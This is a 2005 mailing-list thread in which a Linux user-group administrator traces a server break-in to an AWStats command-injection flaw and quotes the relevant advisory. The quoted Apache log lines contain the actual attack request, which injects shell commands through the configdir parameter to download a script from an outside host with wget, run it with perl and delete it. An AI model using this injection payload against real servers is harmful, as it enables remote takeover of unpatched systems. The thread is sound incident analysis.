In particular: http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities
which includes this gem: "An attacker can cause arbitrary commands to be executed by prefixing them with the "|" character." -- Rod On Tuesday 15 February 2005 02:35 pm, Rod Roark wrote: > I think I found the point of entry. From the lugod.org > apache log: > > 65.2.252.155 - - [14/Feb/2005:19:31:37 -0800] "POST > /awstats/awstats.pl?configdir=|echo%20;echo%20;cd%20/tmp;wget%20www.commandt.org/a;perl%20a;%20rm%20a;ec > ho%20;echo| HTTP/1.0" 200 525 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; > Windows NT 5.0)" > 65.2.252.155 - - [14/Feb/2005:19:31:37 -0800] "POST > /awstats/awstats.pl?configdir=|echo%20;echo%20;cd%20/tmp;wget%20www.commandt.org/a;perl%20a;%20rm%20a;ec > ho%20;echo| HTTP/1.0" 200 525 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; > Windows NT 5.0)" > > It seems that more than 11 bugs were fixed in awstats in the > past 3 weeks, and or course I have not been updating that > frequently. For now I have disabled awstats, have restarted > the web server, and am keeping a close eye on it while I do > more investigation. > > -- Rod _______________________________________________ vox-tech mailing list [email protected] http://lists.lugod.org/mailman/listinfo/vox-tech
